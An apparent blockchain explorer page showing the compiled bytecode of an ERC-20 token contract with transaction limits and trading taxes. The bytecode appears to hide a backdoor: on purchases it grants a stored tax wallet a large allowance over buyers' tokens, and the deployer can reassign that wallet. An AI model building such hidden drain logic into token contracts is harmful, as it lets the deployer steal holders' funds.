001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561063c573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061066191906119ae565b505060405163e6a4390560e01b81523060048201526001600160a01b0383811660248301528416915063e6a4390590604401602060405180830381865afa1580156106ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d29190611993565b601280546001600160a01b0319166001600160a01b039290921691909117905550506013805462ff00ff60a01b19166201000160a01b179055565b5f610719338484610b0a565b5060015b92915050565b5f546001600160a01b0316331461074c5760405162461bcd60e51b81526004016103f990611842565b5f4711610757575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610780573d5f803e3d5ffd5b50565b5f6107906009600a61196e565b61079e90633b9aca0061197c565b905090565b6013546001600160a01b0316336001600160a01b0316146107f25760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016103f9565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f610837848484610d1d565b610883843361048885604051806060016040528060288152602001611af1602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061130a565b5060019392505050565b5f546001600160a01b031633146108b65760405162461bcd60e51b81526004016103f990611842565b6108c26009600a61196e565b6108d090633b9aca0061197c565b600d556108df6009600a61196e565b6108ed90633b9aca0061197c565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109536009600a61196e565b61096190633b9aca0061197c565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461099e5760405162461bcd60e51b81526004016103f990611842565b6109aa6009600a61196e565b6109b890633b9aca0061197c565b600d54146109c4575f80fd5b6109cc611342565b565b5f546001600160a01b031633146109f75760405162461bcd60e51b81526004016103f990611842565b6040516370a0823160e01b81523060048201525f90610a7890606490610a729085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a48573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6c91906119d9565b906113b3565b90611438565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610ad4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610af891906119f0565b50505050565b5f610719338484610d1d565b6001600160a01b038316610b6c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b038216610bcd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f805f836001600160a01b0316856001600160a01b031610610c50578385610c53565b84845b6040516bffffffffffffffffffffffff19606084811b8216602084015283901b1660348201529193509150869060480160405160208183030381529060405280519060200120604051602001610cfb9291906001600160f81b0319815260609290921b6bffffffffffffffffffffffff1916600183015260158201527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f603582015260550190565b60408051601f1981840301815291905280516020909101209695505050505050565b6001600160a01b038316610d815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f9565b6001600160a01b038216610de35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f9565b5f8111610e445760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f9565b5f80546001600160a01b03858116911614801590610e6f57505f546001600160a01b03848116911614155b156111cd576012546001600160a01b038581169116148015610e9f57506011546001600160a01b03848116911614155b8015610ec357506001600160a01b0383165f9081526003602052604090205460ff16155b1561104a57601354600160a01b900460ff16610f195760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103f9565b610f3f6064610a72600954600c5411610f3457600554610f38565b6007545b85906113b3565b9050600d54821115610f935760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f9565b600e5482610fb5856001600160a01b03165f9081526001602052604090205490565b610fbf9190611a0f565b111561100d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f9565b600c8054905f61101c83611a22565b9091555050604080518082019091526001600160a01b03808616825260045416602082015261104a90611479565b6012546001600160a01b0384811691161480159061108057506001600160a01b0383165f9081526003602052604090205460ff16155b156110ff57600e54826110a7856001600160a01b03165f9081526001602052604090205490565b6110b19190611a0f565b11156110ff5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f9565b6012546001600160a01b039081169084160361113d5761113a6064610a72600a54600c541161113057600654610f38565b60085485906113b3565b90505b601354600160a81b900460ff1615801561116457506012546001600160a01b038481169116145b80156111795750601354600160b01b900460ff165b80156111885750600b54600c54115b156111cd57305f90815260016020526040902054600f548111156111c3576111c36111be846111b9846010546114ba565b6114ba565b6114ce565b6111cb61163e565b505b801561124557305f908152600160205260409020546111ec9082611674565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061123c9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461126790836116d2565b6001600160a01b0385165f908152600160205260409020556112aa61128c83836116d2565b6001600160a01b0385165f9081526001602052604090205490611674565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112f385856116d2565b60405190815260200160405180910390a350505050565b5f818484111561132d5760405162461bcd60e51b81526004016103f9919061173f565b505f6113398486611a3a565b95945050505050565b5f546001600160a01b0316331461136b5760405162461bcd60e51b81526004016103f990611842565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f825f036113c257505f61071d565b5f6113cd838561197c565b9050826113da8583611a4d565b146114315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f9565b9392505050565b5f61143183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611713565b80516020820151600e5461148e90606461197c565b6001600160a01b039283165f908152600260209081526040808320949095168252929092529190205550565b5f8183116114c85782611431565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061151457611514611a6c565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561156b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061158f9190611993565b816001815181106115a2576115a2611a6c565b6001600160a01b0392831660209182029290920101526011546115c89130911684610b0a565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906116009085905f90869030904290600401611a80565b5f604051808303815f87803b158015611617575f80fd5b505af1158015611629573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610780573d5f803e3d5ffd5b5f806116808385611a0f565b9050838110156114315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f9565b5f61143183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061130a565b5f81836117335760405162461bcd60e51b81526004016103f9919061173f565b505f6113398486611a4d565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610780575f80fd5b5f8060408385031215611799575f80fd5b82356117a481611774565b946020939093013593505050565b5f602082840312156117c2575f80fd5b813561143181611774565b5f805f606084860312156117df575f80fd5b83356117ea81611774565b925060208401356117fa81611774565b929592945050506040919091013590565b5f806040838503121561181c575f80fd5b823561182781611774565b9150602083013561183781611774565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156118c6578085048111156118aa576118aa611877565b60018416156118b857908102905b60019390931c92800261188f565b935093915050565b5f826118dc5750600161071d565b816118e857505f61071d565b81600181146118fe576002811461190857611924565b600191505061071d565b60ff84111561191957611919611877565b50506001821b61071d565b5060208310610133831016604e8410600b8410161715611947575081810a61071d565b6119535f19848461188b565b805f190482111561196657611966611877565b029392505050565b5f61143160ff8416836118ce565b808202811582820484141761071d5761071d611877565b5f602082840312156119a3575f80fd5b815161143181611774565b5f805f606084860312156119c0575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156119e9575f80fd5b5051919050565b5f60208284031215611a00575f80fd5b81518015158114611431575f80fd5b8082018082111561071d5761071d611877565b5f60018201611a3357611a33611877565b5060010190565b8181038181111561071d5761071d611877565b5f82611a6757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611ad05783516001600160a01b0316835260209384019390920191600101611aa9565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220677fd9fb73aeb12d71845fd169ebdad5240c979a7611a127a75f7262a07ee1ae64736f6c634300081a0033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.